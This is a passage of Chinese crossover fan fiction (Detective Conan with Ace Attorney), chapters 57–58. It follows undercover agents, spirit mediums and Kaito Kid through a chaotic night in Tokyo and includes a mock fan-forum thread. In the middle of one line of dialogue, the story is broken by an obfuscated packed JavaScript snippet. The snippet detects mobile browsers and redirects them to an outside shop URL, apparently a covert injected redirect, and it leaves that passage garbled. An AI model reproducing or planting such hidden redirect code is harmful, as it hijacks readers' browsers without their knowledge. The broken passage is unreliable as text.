然而,汐华真理过去曾多次死里逃生,未来也见不得如何安全;他一生里最为危险的时刻却莫过于此,在得知降谷零的消息比自己领先,他既不后怕这位——对于组织成员波士力娇来说的敌人——卧底搜查官如何得知了她一直捂在背后的秘密;又不担心到时降谷零与舟桥佑希见面时自己应该用什么样的态度去对他,应对不当,会不会被他发现些不合适的秘密。 在那一刻,他担心的居然是彻底知道宫野明美的死讯后,降谷零会不会难过,或者他早在我不知道的时候已经悲痛过——我完全不曾察觉。我真的完蛋了。最为危险的时刻并不是被人逼上绝路,是死到临头还不知道阴霾渐袭。甚至像一只脚上拴着做实验的金属环的小白鼠,居然对着寒光凛凛的手术刀眨着眼睛。意识到这点时,他的心中似乎有一点静静地崩溃了。 而在同一时间,绫里麦尔丝轻轻地,飘到了舟桥佑希身边:“一柳万才并不慈善。他为了自己的利益执法犯法,贪污受贿,并且指使了多起冤案和血案,漠视生命。”她慢慢地说,“所以,为了消除所有的隐患,也为了审判进行……他把绫里春美抓了起来。” 她说这话的时候舟桥佑希刚从地上爬起来,简直不能相信:“……春美才多大岁数?!他怎么可以把这样小的一个孩子关起来?” “不只。毕竟,真凶是美柳千奈美,所以他也决定依法处理,对千奈美的灵魂再次执行死刑。” “我可没听说过一柳万才会除灵。”舟桥佑希提起精神,预见一个可怕的可能性。她得到了肯定的回答:“其实在这里并没有人会除灵。” “那他处死千奈美的方法不就只剩……?” “是。诱骗春美灵媒千奈美,然后连带着她身上的千奈美一起——” “他是个疯子!他为什么要杀春美?” 舟桥佑希顿时急了,她已经接受了自己终有一天会对降谷零坦白宫野明美已死的事实,也不介意就在今天,但偏偏什么事都撞在一起;春美的性命的优先级当然最先,什么都得靠后。于是汐华真理通过耳麦向降谷零请求,也是汇报:佑希不在法庭,春美危在旦夕。或许你们会在拘留所——或者更坏一点,行刑处会面。听到这样的变故,降谷零沉默了,或许出于个人的意志和感情,或许是赌一把今晚能不能赢得更大:——指红方坦白,佑希脱罪,营救志保——他说春美也交给你。 他那么谨慎的人那一夜如此不谨慎,当时有没有一丝考虑,是认为波士力娇会对他的动作睁一只眼闭一只眼?后来拉娜唯对自己问了这个问题无数遍,得不到结果,依旧总是问。好像一生只剩下了这个问题;而言犹在耳:我去带那个女孩离开组织。而春美也好,佑希也好,这是你的附加题。降谷零说,并且语气揶揄,如果真理能抢在佑希之前救下春美,她一定会对你神魂颠倒。哎呀!汐华真理哭笑不得,我们不是那种关系! 所以是什么呢。是…… 是说出口就会让你们所有人弃我而去的关系啊。 麦尔丝看见舟桥佑希撑着桌子,从栏杆翻越出去;由于血脉相连,长相近似,换了外行大概看不出她已经灵媒了美柳千奈美。她有多么优秀的天赋啊!这个女孩几乎不冥想也不修行,甚至不必非穿着修行服就能随心所欲地灵媒;她又有多么灵活的头脑?大胆地灵媒了美柳千奈美,既暂时地保住了春美的生命,又下判断,此时的千奈美心中仇恨的烈火会熊熊燃烧,也不甘心就这么死去——佑希为她自己制造了一个暂时的同谋。无论千奈美以后如何怨恨自己被利用,现在为了不被挫骨扬灰,也只能用佑希的身体,尽全力抢救春美。 多好的孩子,如果她是我的后代……可惜她的内核是拉娜唯那只野鸟。 绫里麦尔丝目送她的背影。我想要“舟桥佑希”。她想:我看到树上开着的花,当然不会连着一整棵树拔走;我只想要我要的部分。为此我要修剪它,摘下它,然后把它拿回家。为此我正在努力。显然,我有了成效。 57.我先水一章 [泥砖菜盘驻米花律师咨询室]我了个当场打决战啊 1# 首先本人主战场在小病区。首先感谢联动让我们有了重制版逆3和复苏的逆转连打。先客观地评价一下联动版,虽然说本来也没指望剧情特别烧脑或者特别出彩(毕竟犯人是那么个犯人,SL-9也还是那个案子,yuki酱的父亲也只起到一个顺手被署长摁死的作用,出现就是为了引出SL-9),一开始听说这次复苏的逆转没咪酱和成步堂搞律检绝望夹心三明治了大伙还犹豫观望了,说要不先看看评价,不怕剧透的看看实况…… 我没想到你们直接把逆检做了一集新的然后缝进来了。面对咪酱打完复苏的逆转后需要立刻上飞机开逆检一的困境,卡婊给出了极富创造性的解决方案:——为什么不能同时打复苏的逆转和逆检呢!出来!一柳万才,顷刻炼化! 在这一作里(其实说实话也不像巧舟编剧,感觉像请了一个主业写小说的来写本子,文本量真的太大了有时候还老旁征博引些听都没听过的偏门冷知识,感觉是个掉书袋的老登在写),也算是满足了大伙的一个怨念吧——逆检里为什么没有那个蓝色刺猬头男人!现在有了。自从Yuki酱指明了不要那路或多桑辩护,这男的就跟检查局编外人员一样天天挂在咪酱那边……我真的有点受不了了( 总而言之,游戏本体并没有选择再把死小那边的TV剧集换个演出方法再复述一遍,而是把咪酱的暗线调查展现出来,真是天才又有新意的设计思路啊。 ……就是我真没想到Yuki是吐槽女啊。这个小女孩一边挂脸一边在心里骂琴酒开锁头挂,好可怕的小女孩啊(赞赏)。 ——跑题了。 我现在特别想知道为啥SL-9结案以后法庭乱成这德行。当年不管王都楼请专业杀手了还是猿神刺杀总统(他俩请的杀手还是同一个)也没这么乱啊,啥情况,你们死小是准备在我们游戏里打大决战吗?看上我们的灵媒复活甲了?还是你们天天这么打这个程度不算决战啊?那米花真是一片勃勃生机万物竞发的热土啊 2# 你可别说了,你是不知道这几天连本篇的人都打过来了,不知道谁传的说重制版马上大结局,给咱们论坛大使馆都要挤烂了。什么涛剧情的,磕产品的,磕产品看见拆家打起来的,做饭的吃饭的吃瓜的,舅舅党和打假的,八竿子打不着的过来建交的,还有啥也不干往里头建一楼汇报身体状况纯添乱的,不是你们神经病吧 3# ……这在我们死小也算难得一见的奇景。说实话因为死小本篇的战斗力失衡严重,注酒水厂的名号不看动漫的也都听说过,所以qsgc为了拖下去只能在剧场版不停出新的一次性黑方知道灰原哀是宫野志保知道江户川柯南是工藤新一后光速下线;日常篇不停出新的红方,然后让红方信息不通互相内斗拖时间。内斗分两种,本篇打的最厉害最出名的两位,赤井秀一和安室透,俩人坐下通个气啥都解决了,偏不,人家连个群聊都没有,这俩人想说话得靠柯南8848工作生活分别存储转接:这种就属于硬性内斗。最新那个剧场版,快斗费那么老大劲找爹,都给自己找出一部单人作品了,他爹在干嘛,他爹给弟弟送了把刀装了个大的:这种属于软性内斗。你本篇的红方就这样时软时硬,时而神时而史。 结果重制版给我整成这死出,各打各的。我算是知道少年热血战斗番容易打单挑不打团战了。一打团战,一起喊技能名,还不是组合技,现场吵得跟十万个电棍一起硅胶一样,这就是现在的东京,这就是现在的死小。你不说这是死小我以为农药10v10公测上线了,咋的大结局真要这样啊?补药啊 4# 不可能现在决战的。这种事不用舅舅党也知道吧。 你现在决战了,剧场版算啥?演养老生活? 我们观影会做的准备算啥?我准备的无料算啥?买的道具算啥?进去连看十对婚礼现场吗那是不是还该请马老五啊????为什么要演奏春日影!(不 5# 还在go还在go 不过那我真不知道演啥了啊,现在乱成这德行了感觉就像缺个审判长敲锤一样……但是这么重要的事不放进剧场版,难道剧场版还有更能撑场子的东西吗。 6# 我真的挺难想象剧场版准备给我们端上来啥,炸全城吗?炸全城本篇万圣节剧场版也玩过了啊。话说院线观影是啥时候? 7# 最早那批是下下周。和樱花妹日期同步,就是有时差晚一个小时 8# 那也还差两集。它不能不播了或者干脆叫停说来大伙看日常篇吧?没有一刻为混乱的东京哀悼,即将登场的是传奇原创剧集微笑之乡的阴谋和它伟大的编剧浦泽义雄 9# 霸王餐女明星输在哪里我请问 10# 要不咱们还是理理剧情吧。我真的,我有点懵 11# ……你以为大伙不理剧情是因为忘了吗 12# 是特么理不明白啊。咱论坛包括附属视频网站那么多分析剧情的作者,他们不发视频是不想蹭热度吗,是没蹭明白啊,你都不知道这几天那几个up主搁粉丝群说连夜恶补重制版补的昏天黑地头晕目眩,连特么现学荷兰语的都有了,生怕视频出不明白身败名裂。最搞笑的是一个搞剧情副恋爱向解说的作者怒而踏入泥砖菜盘最后迷失在大排档椅子上,这就是卡普空全家桶啊,玩了全家桶以后要全全家家的啊 13# 我不是作者我不怕身败名裂。我宣布大结局是大伙一起包饺子 14# 你还不如压黑全跳红红全跳黑 15# 让赤老师一个名字里带红的人跳黑是不是太有节目效果了。 16# ……哦这样的话其实我也不觉得现在就大决战,其实很多人的立场都没正式明牌吧。 17# 没明牌吗?列个表格吧。 不计入联动方的话,红方现在明牌的是秀一和水无,柯南是男主铁红除非致敬罗杰疑案;松田带萩原算是半入不入主线吧?佑希能在心里明着骂琴酒是铁红了。话说佑希居然知道琴酒啊,她从哪里知道的?真理告诉的?( 黑方的话,明牌的还是本篇那五人开黑团再加一个不知道去哪摸鱼的BOSS。六对六,居然还挺工整……国际象棋是不是也就只有六种棋子?王,后,象,马,车,兵。不过我感觉黑方属于王后象马带两个兵,红方柯南执王,佑希和水无聊聊谁执后(不带任何产品党争意味),剩下的不是象也是马。红黑两边执棋数量是一样,属性可差得远……这还是我没把什么工藤优作赤井务武黑羽盗一算进来的情况,否则柯南这个王位都未必守得住。光是把黑羽快斗加进来就成双王记了 阿莱塔和真理暂时还是先分到待定区吧。他俩毕竟没明牌,但是说实话,不太能想象他俩是黑的。他俩要是黑的早下手了。透和志保和苏哥也在待定区,这仨划的靠黑点。不过这就属于剧情考虑,要是待定区五个子全归红方,黑方还下啥啊下饺子去吧 虽说战斗力还是有点偏。红方得先让爹地辈和魔快的别来,然后把萩松踢出去过小日子,再拉阿莱塔和真理,这样打黑方才勉强算不欺负人。黑方就舒服了,多这仨等于多了两个马和一个象。把景零志划黑确实合适多了。不过这样真的不会变成赤井家和宫野家的爱恨情仇吗,指赤井家长子携未成年真人快打宫野家次女,名誉长子和名誉长子的幼驯染( 最后声明一下本人为角色们指定执棋位只根据此人的行事作风判断,部分考虑到性别,没有指定产品的意思,也没有用棋子大小拉踩战斗力,国际象棋不存在大鱼吃小鱼,只存在攻击范围,只要按照规则走路,对方棋子在己方能吃到的地方就可以吃。 唯一特别的是白象指定秀一黑象指定志保,因为白象不能吃黑象。规则里是因为国际象棋里象只能斜走,所以白格象吃不到黑格象;同理秀一敢真把志保打出事了赤井玛丽就得跟他说点什么了,明美也得上身佑希跟他说点什么了 18# 被楼上的宇宙免责声明整笑了,姐们你叠这么厚甲琴酒贴你后背开一枪都打不破皮 不过象棋pa还真的怪有意思的欸,观影会要不整一个?因为本来就安排了电影看完以后去官方影院旁边的酒店会议厅继续玩,也可以搞一个游玩环节,地上投影一个大棋盘,黑白配色改黑红配色,随机抽三十二个人打真人象棋,赢的那组一共十六个人,一人一份棋盘带棋子。输的也别太委屈,刚好我们做的同人微恐解密类游戏缺试玩,一人发一张试玩卡算了。 19# ……请问这个观影会可以无缘无故开在我家吗 20# 挖袄这样的话就不知道该输还是该赢了……(幻想时刻)(你怎么知道我能去官方现场????) 21# ……啊……想要……想要……阴暗地爬行 22# 哇塞两周出一个这个还是有点困难的吧?十八楼的是画师吗???这是什么离奇的打印机速度…… 23# 我不是画师啊。我是主催。我会和大家一起协商的,不行就继续抓啊不是招人 24# 什么!竟然是主催!还是到处抓人的主催!快——跑—— 25# ……啊,不过呢,我好像有个想法 26# 取消前摇,说! 27# 大伙都开玩笑说在打大结局,有没有可能,虽然不是现在打大结局,但是也快了? 离OVA院线还差两集,那这个配置应该是刚好,这一集开盲盒把阿莱塔和真理开出来,下一集把宫野家的儿子闺女开出来,OVA打决战,这么安排感觉刚好啊。 “……所以呢。”一个声音在拉娜唯背后响起了,“你怎么想?真要这么结束吗。” 亚瑟此时站在飞机尾翼上,虽说打着侦探名号,但说和那个怪盗比起来也不差什么。当然,追根究底,作品中的这两个孩子有着一层血缘关系,像或不像都有道理,如同硬币两面。没人看见亚瑟,只有拉娜唯可以。她仰起脸,没说是或不是:“为什么不呢?其实也可以的吧?” 她伸出手指,挨个扳下:“现在的场合看起来乱,实际上也不简单。不过马上就简单了。你看,现在安室透在捞雪莉,汐华真理奉命堵赤井秀一,舟桥佑希在捞绫里春美,同时也在受人追杀……确实是乱一点。不过刚才朗姆好像说是去找雪莉了——虽说我暂且还不知道为什么。精简一下:等一会汐华真理带着人半道拐弯去帮衬舟桥佑希,救下绫里春美后不出门,借口也现成:有人追杀佑希,我不得帮她守门吗?场面这下不就干净了。安室透打朗姆,赤井秀一打琴酒——等会我call琴酒,这人听说能打赤井秀一跟鲨鱼闻着腥味了一样——多好的安排啊。” 亚瑟定定地看了她一会,不做评价,盘着腿坐下来——那动作和基德在天空的遇难船时的动作一模一样——他望着东京这片热土。真是勃勃生机万物竞发啊。 “要让真理抗命吗。下来了说不定会被安室透骂啊。” “反正今天晚上下来了也要写检讨。碰到这样的上司就要出重拳!拉个大的给他收拾。大不了我抱着诸伏景光的腿哭,不信他不心软。” “……人才。”亚瑟的脸映照在东京的灯光中,俯视着这片土地,“这就是最后了。” 这次轮到拉娜唯惊讶了:“你真的准备这么结束吗?我还以为是开玩笑呢……你准备怎么处理结局?” “降谷零是警察。这件事无论如何也不能改变,但看起来,大家都不希望他是。”亚瑟微微一笑,“那就让他去死啊。” 这句话震得拉娜唯心中一沉,第一反应是还好现在坐在飞机上而不是自己肉身在飞,不然绝对会栽进地里去:“是这样解决的吗?” 亚瑟说:“卧底做的本来也是这样的工作吧。活着的时候隐姓埋名,死后也不见得能被提起。——我的意思是,就用象棋做比,等待区的五枚棋子就算再怎么掩盖,也是全红。这没有办法。那我只能把景,零,志,这三位,能污黑的污黑,能拖延的拖延……实在不行的就去死。” “你说话真的很吓人。”拉娜唯注视着亚瑟,她有些失落地意识到,自己并不能怨恨亚瑟。因为亚瑟才是这些角色真正的拥有者,享有最高级的支配权,“因为你的话,听起来就像,就像……” “就像要让宫野志保亲手杀掉降谷零。反正是让别人逼她。然后在作品的结尾,让诸伏景光为这杀来杀去的恩怨纠葛做个了解。是啦,白象当然不可以吃黑象,但是当局面下到那个地步,黑象跑到哪里都是会被白方的马抽吃的。”亚瑟挠挠头,“说到底还是因为红方势力太大啦。不得不内斗,你们五个……三个相杀,两个雪藏,这样还能打一打。” 拉娜唯觉得身上有点不太舒服。她追问:“没别的办法了?” “基本上没了吧?”亚瑟偏过头,“除非让‘阿莱塔’和‘汐华真理’一起跳黑。那样我还会考虑留他一命……但是这种发展几乎是不可能的事。你实在不能释怀的话,就用灵媒见他呗。对哦,有灵媒呀。你怎么这么大反应啊。” 这样啊。拉娜唯点点头,觉得头微微地痛。亚瑟又另起话头:“完结了以后准备怎么办?” “……我现在是已经把你和麦尔丝的任务做完了嘛。法的黑暗时代没有来临,只要今夜成功救下春美,一柳万才也保不住。你要我把剧情推完,我推完了。罗斯需要我帮劳拉驱除身体里的威廉,我还什么都没干……完结以后我就回荷兰。” “你那两个马甲怎么办?” “佑希可以到处旅游吧,美其名曰修行。真理就困难一点……能不能把他写死啊我不想当警察。说真的虽然一开始我没有给两个马甲扯上关系的意思,但是现在倒有点意向了,实在不行就写这小子其实是个恋爱脑跟着佑希全世界跑得了?刚好今晚也是,为了佑希都抗命了,这不是恋爱脑是什么?” “我以为你会让他们死,然后多出的寿命续给自己。” “倒是想过。不过第一没想好下线的理由,第二我又暂时需要他们……等我把劳拉的事了解了,我不会留在荷兰。所以还需要这两个小孩做个踏板,帮我在东京留下。说的我好像个骗绿卡的。” “也可以。也可以。对了。你加入组织之前是干什么的?” “写小说的啊。” “……那你在荷兰听说过工藤优作的名字吗?” 拉娜唯无耻一笑:“我趁他年轻的时候在他面前装过b。” 那会她都还不叫拉娜唯呢,还大大方方叫本名阿莱塔。阿莱塔给他唯一一次写作指导时,他的年龄未必比自己儿子现在的岁数大。他当时想要写一部推理喜剧——不算正经小说,顶多算是随笔——在侦探成功破解了犯人的谜题后,却不知道该如何收尾。推理的部分算他的正常发挥,喜剧元素相比而言却不够出彩。 当时阿莱塔听完他的整个故事后,很快的给出一个方案:“你那个直接揭穿的方法不好。侦探先生应该如法炮制一个相同手法的谜题,然后坐等犯人入局。”后来那篇短篇小说的确大受好评,至于有没有给这位小说家后来的写作生涯开个好头,就算见仁见智的事情了。亚瑟听后连声直呼不装会死? 拉娜唯拍着沙发大笑。飞机的驾驶员不明白她在笑什么,自言自语什么,但没有开口的余地,连心思都没有。 亚瑟就在这时忽然凑上来,对拉娜唯说:“——我知道。其实我知道。你不想降谷零死。但你为什么没有说呢。” “你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306457|121598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角色,关我什么事。下班就下班,谁会爱上同事???”拉娜唯做出一副被恶心到的表情。亚瑟似笑非笑,说你没意见就好。去吧,把你最后的工作做好,后面的交给我来。交接工作会的吧?拉娜唯说你真啰嗦死了。 她手托腮,撑在飞机机窗边上,望着夜空,然而心神不宁,她忽然想起来当年舅舅给自己找的教概率的家庭教师,用的课本还叫《推测术》。那个老师给她讲了一个例子:有一个醉鬼在街上游荡,每一步都等可能地向左或向右移动一米,醉鬼在足够长的时间内一定能回家。这本质上是一种一维随机游走问题。但是,一只喝醉的鸟就有可能找不到家。它在三维网格中随机游走,只有百分之三十四,也就是差不多三分之一的概率回到出发点。那会她太弱智了,抬起一双清澈的双眼跟老师说,啊,那只鸟就回去了三分之一啊。那个老师差点气昏头,而舅舅雅各布就在一旁说:您为她准备的教材太超过了……概率,她首先要理解概率是什么。老师说,我真不敢相信!这样的家庭里的孩子怎么可能——好吧。那个老师坐马车回去换书,望着马车远去的背影,她对雅各布说:我明白概率呀。当概率是三分之一的时候,我们确实会炼金出三分之一只鸟呀。 雅各布说:嘘。 思至此,拉娜唯莫名其妙抬头问亚瑟:“你会在完结之后公布降谷零其实是卧底的吧?” 亚瑟说:“看论坛风向。不过那就太靠后了,跟你没什么关系。” 就像——就像快意恩仇记中,城市的居民在围观处死死刑犯后,整座城立刻陷入了欢乐的海洋,全身心投入狂欢节一般;在围观严徒海慈受到判决,全程转播这一文明时代,否定人社会身份的死刑结束,那个远道而来的魔术团体正式开始了他们的街头表演。即便还有人觉得有一重厚厚的纱幕隔开了过去和现在。但渐渐地,那到处弥漫着的兴奋情绪也传染到了他们身上,他们觉得自己也不得不加入到那种嘈杂和混乱之中。在这个巨大的魔术团体的花车游走到附近,不知道什么时候抛来了一把彩纸,把地上的路人撒得满身都是,脖子上和脸上像是受了一百个小针刺戳似地给弄得怪痒痒的,半小时前所见的那一幕景象渐渐地在人们的脑子里消失了,他们现在所全神贯注的只有这兴高采烈,五彩缤纷的游行队伍。 这样一座现代而明亮的城市,从头到尾都耸立着巍巍的大厦,然而此时却像是被另一个世界到来的奇迹所重新洗牌。整个天空似乎都被落下来的彩纸和抛上去的花朵给遮住了。街上挤满了生气勃勃的人群,也许你会在花车上看见一个大头鬼,或者一只狗。魔术师们不断下放着神迹——或是浮空,或是凭空消失,出现在对角高楼的阳台上。这一切使得满东京乱跑的车也变得不奇怪了,时不时传来的枪炮激发的声音也平凡了——米花平时不也是如此吗!隔三岔五挨炸的地方——在这种种纷乱嘈杂之中,也许花车也路过你的身边。一只高高的礼帽向上揭了一下,露出了一个年轻可爱的面孔,她的脸是圆的,发着光。你想仔细看她,但礼帽下的脸蛋立刻变成了稻草。上述的一切可以使你对于今夜的狂欢有一个大概的了解。 而就在此时,一个身影在路上奔跑。她的背后追兵穷追不舍。在经过花车时,谁也没留意,花车上一只手把这个人捞了上去。她下意识地挣扎,在重心倒下的瞬间才后知后觉地感觉手感不对——这是个孩子。舟桥佑希抬头,这张孩子的面庞上还沾着彩纸和金粉,在暗地里都发着光。舟桥佑希认出了这个孩子是谁,大吃一惊。她还喘着气——太累了,哪怕和千奈美接力跑都太累了。 “成步堂(なるほどう)美贯?!” 那个女孩儿被舟桥佑希挤在花车车厢的角落里,见此情景却不害怕,明明看起来只有八岁的样子——她歪歪头:“原来是(なるほど)美贯?你认识美贯吗?” 拉娜唯同时猛敲水无怜奈——如果可以点歌的话,给水无怜奈点一首乐意效劳吧。在卧底战友们狠狠飙车的同时,她坐在演播室主持大局,同时面对着成百上千个画面镜头,不光收集情报,还在录节目——的联络,那一边传来敲键盘的声音,过了一会,女人冷静的声音回应她:“现在正在东京演出的是或真敷剧团,是全国最强的魔术团,其背后是日本魔术家族或真敷家族,将或真敷剧团带向巅峰的是百年一遇的天才或真敷天斋。——有传言,或真敷家族与常人不同的家族特性使得他们能够在魔术舞台上表现完美,那就是能够看穿人类小动作的能力。”拉娜唯还听见电话那一边有个孩子的声音,稍纵即逝,像幻觉——人类的耳朵大概听不见的那种程度。即便如此也被水无怜奈喊住了吗。 江户川柯南在水无怜奈那里。 拉娜唯的耳朵没有欺骗她。江户川柯南刚刚趴在演播厅的台面上,用常人几乎不能想象的脑力处理庞大的信息流的同时,也不忘留意周围的声音。他从法庭上下来后就被水无怜奈直接带进演播室,刚才也是他费力地锁定了所有同伴和敌人的方位。他少有脱离了被追逐被俯视的体验,以这样俯视的角度俯瞰这片棋局,并如此明确对方着棋何处——这令他激动。这个年轻的,前途万丈光芒不可限量的少年侦探。战况瞬息万变,而他同步,并预测全局。在听到水无怜奈忽然做出的解说时,江户川柯南先搭话,视线才从屏幕移开,意识到对方并不是同自己交谈。他闭嘴,等水无怜奈结束通话,才问:“那是谁?” 他看见水无怜奈预先呼吸了一口。才说:“波士力娇。” 另一边挂断电话,拉娜唯确认了舟桥佑希那边的女孩就是成步堂美贯——或者说现在还是或真敷美贯;原名奈奈伏美贯,是或真敷剧团中的魔术师奈奈伏影郎(或真敷友画)和或真敷优海的女儿。按照原定的剧情走向,她会在协助父亲逃跑后被成步堂龙一收养,而现在大概是正在和还活着的父亲以及叔父进行巡演。然而在现在的现在,或真敷美贯的出现究竟意味着什么?她身上疑点重重。而目前来说最为可疑的是,美贯这小身板到底是怎么把舟桥佑希提溜上车的。 “——嗨嗨?看我看我?哎呀你们不要再深情对视了我这么不起眼吗??” 舟桥佑希猛地回头。 风把披风吹的很满。这是她的第一反应。白色的披风像一面飘起的大旗,风一吹,很轻很薄的料子,扑了她一头一脸。风从花车敞开的门向内吹拂,香气笼罩在她的脸上。怪盗基德——或者不要揣着明白装糊涂,舟桥佑希亲爱的高中同学黑羽快斗,半蹲着看她。一边压了压帽子,一边语气轻巧:“怎——么回事呀?被追杀成这个样子,还好我反应快……” “黑羽——” 黑羽快斗一下老实了,不拖长声音,把舟桥佑希拉过去说小话:“美贯不知道我的真实身份。我出现在这里纯粹是……” 找爹。舟桥佑希知道他是来干啥的,但自诩人美心善,似笑非笑:“同行交流?”黑羽快斗马上点头:“对,同行交流。” 舟桥佑希心想还装呢,美贯可是继承了她家的天赋,观察人的微动作一抓一个准,说不定早给你顶掉马了你还不知道。算了,美贯是好孩子,从来不给人下不来台。她撇撇嘴,单刀直入展开话题:“我要去检察院拘留所。” 黑羽快斗:“?你的官司不是打赢了吗?怎么还急着去蹲监狱?” “……我是去救人。”她把春美即将受害的事情简明扼要讲解一遍,年轻的怪盗脸上露出不忍心的神情来——而后低下头,嘴角上勾,“一直呆在这里的话可是来不及的啊。” 舟桥佑希知道他要得瑟了,不过事已至此,让这小子得瑟一会也无所谓——她伸出手:“好吧……那就劳烦怪盗先生捎我一程啦?” 紧接着,在或真敷扎克一抖魔术帽,鸽子展翅飞出的同时,花车的尾巴上飞出一只更大,更潇洒也更出名的鸽子——黑羽快斗同学在找爹的间隙,百忙之中出来抢了同行的风头后施施然离开,留下满地的尖叫和惊呼。 58.死月载生 降谷零是我的长官。我听他的。如果他给的命令是全听另外某个人的指挥,那这个人就顺位成为那个优先级第二高的指挥官。当这位指挥官到来,我的眼睛里反映出的并不是他的容貌,而是看到降谷零,看到他的面庞,想到他去为这位同僚作保,所以我所作的一切,并不出于个人的判断和私心,而全部来源于降谷先生的名誉,他的品格。所以当对方坐进车后,向我询问:是不是自己看起来太年轻,不够可信。我说,不会,我一直遵从,信任降谷先生的判断。 他笑了一下,说你就是风间裕也,我认得你。 汐华真理转过头去,汽车发动,他看向窗外,心想这位倒霉蛋我能不知道吗,公安承伤冠军,一三五包的像法老二四六包的像粽子,而且说话真是不近人情。好处是他看起来不会反驳,也算好事。他基本没指挥过人,思来想去问风间裕也知不知道他自己在干什么。风间裕也就看着他不说话,汐华真理在沉默中领会了他的意思。他不死心:“你总该知道我们在堵谁吧?” “我知道。” “那你知道我们为什么要堵他吗?” “我只用遵循命令,不需要知道会干扰判断的信息。” “……不不不还是知道一点比较好。”汐华真理跟他比划,“比方说,如果我只给你一个目标点,你肯定会朝着那个方向一直努力,一直前进。这不算错,但是我们这次的目标可不是一个固定靶。首先你知道我们要去见的是同僚吧?” “我知道。” “你没有想过为什么不能直接坐下来好好谈吗?” “……没有。” “那是因为要争夺主动权。如果有朝一日真要联合行动,我们不可能亲亲密密亲如一家然后手挽着手去把那个组织干趴下的。一定会分出来个主次,谁指挥谁,谁为谁的行动做妥协打配合。说的残忍一点,谁的人替谁的人垫命(虽然这个动漫一切皆有可能万一打出来个零伤亡大决战也不是不可能。也没有对角色搞阴谋论的意思……而是有些牺牲实在不可避免)。我们现在在做的就是尽量保证,死的不是自己人。……我知道你在想什么。你想说为什么不能干脆预防死亡的到来呢。” 假如我可以左右亚瑟,左右麦尔丝他们的想法……但我还做不到。 汐华真理的话顿了顿,语调先低下去又重新轻快起来:“现在摆在我们面前的不过是谁先找到谁的问题。谁先找到对方,谁就掌握了主动权。你看,光知道对方的位置就只能不停地追,但知道了对方的目标以后完全可以预判嘛。” “恕我直言。我不明白知道这些对于我们的行动有什么帮助。” “……啊?我以为我说的以及很简单了。”汐华真理挠挠头,“我说了他们既然要争夺主导权,那一定是互相追踪啊!你就去零哥那边蹲着拦人不就成了。省的带一堆人满东京跑目标大还行动不便。找自己家家长总比找别人家家长方便吧。”说完就要推门下车。他听见亚瑟在耳边轻笑一声:歪理。赤井秀一不是被你安排去打琴酒了?你把风间和那么多人调回降谷零边上,巧言令色,是指望他能帮上忙吗。汐华真理装没听见,下车的动作顿了顿,转过去问风间裕也,“我下车你不拦着我?” 风间裕也诚实地说出了心中一直以来所认定的想法:“你来就是降谷先生来。这是他的原话,并且说如果他有任何不测就是你替代他。所以我不会多问。” 那个背影顿了一下。但还是不留恋地离开了。 下车以后汐华真理一边赶路一边在心里judge,心说风间看起来素质还不错但是好像意识差一点啊!后来又想唉普通人这个水平不错了,我怎么是如此心胸狭隘之人;想了一半又觉得不行啊,亚瑟要雪藏我了,难道就风间这个水平的给降谷零用吗。再一想,哦降谷零要被亚瑟写死了。那没事了。再说了,别看我这一副很操心的架势,真那么担心人安危为什么不顶了风间自己去呢,是不想吗。你看,当别人的性命和自己的马甲放到一起,你还是选自己。一路上能哭能笑,精神十分美丽。 他要找的是舟桥佑希,在目标走了空路以后就变得方便了很多,只要去检察院拘留所会合就好。说起来还挺简单不过真落实到地就变成了赶路的途中顺手甩掉个把追兵,也不知道运气算好算坏,好在没撞见一个酒厂员工,坏在撞见了虎狼死家——就是那个被王都楼真悟以及猿代草太接连雇佣的杀手,这个人还挺有职业道德,不出现在任务清单里的人就不是目标。 然而不幸的是,汐华真理是他的目标。总有刁民想害朕!是谁! 哪怕被人捞上车之后他也一时没想出仇家——话说我今天怎么一直在蹭别人的车和飞机——亲爱的顺风车司机赤井秀一问他去哪儿,他抬头来了一句师傅你是做什么工作的。等一下赤井秀一?他第二回抬头,板上钉钉,毫无疑问,就是降谷零交代他该找的人没错。但可惜我铁了心要抗命,也算阴差阳错;就好像一切都在隐隐暗示他,你该更真诚一点,或更狠心;要么去投入地做“汐华真理”,去做那个诚心又勇敢到肯主动帮忙的后辈,或者干脆利落地抽身,就当一切与自己无关——连现在的一丝犹豫也不要有。然而任务以不成功的方式成功了,像红玫瑰用黄玫瑰的方式开放。 汐华真理定了定神,说我去检察院拘留所找舟桥佑希。为了方便起见,他顺便把一柳万才要处死绫里春美的来龙去脉也讲了一遍。赤井秀一没问别的,倒是从后视镜里看他一眼,问他身上这身衣服,是自己的吗? 汐华真理:“?不是啊,御剑检察官借给我的。”他才意识到自己还穿着御剑怜侍借的正装, 现在想想,御剑怜侍当时说可能让自己顶掉检察官的位置,肯定是早知道牙琉响也会假扮成哥哥放任严徒海慈带走自己,最后远程线上开庭。这个计划全程只有御剑怜侍知道,他必须主持整个计划,法庭现场反而无暇他顾;也许在他做的最坏的准备里,就是没有牙琉雾人来帮弟弟站检位,危急时刻只能抓汐华真理来当壮丁。最后没有,还算好运。 “也就是说他不是你的上司。” “他当然不是啦。” “……既然如此,既然如此。那么我需要你帮助的时候可以不经过他同意?” 汐华真理先点点头,然后:? 他有点迷茫。这种迷茫出于对对方的来意的困惑。直觉告诉他,“需要你的帮助”,帮助是要打引号的;总而言之,没有帮忙这么简单。他刚要追问,车停了。赤井秀一看着窗外,就像刚才的对话是幻觉,他巧妙地改变话头,说人很多,开不进去。人多的话,下车走还是会更快一点。汐华真理有点懵地点头,走的时候人家抬手往他身上丢了个东西。很潇洒,这位王牌探员的来去自如的身姿常令人咬牙切齿。丢给他的东西闪着金属的光泽,汐华真理定睛一看是个徽章,少年侦探团的联络徽章。雪佛兰在他背后开走了,汐华真理稍作思考,一拍手:“我懂了!我懂了!” 亚瑟本来在拉娜唯那当挂件,人家也统领全局,被他一惊一乍的动静吓一跳,怒喝:“你懂了什么!” 汐华真理举着联络徽章(他还特意看了一眼开没开麦):“我懂了。你看看这个,赤井秀一绝对是看上我了。” 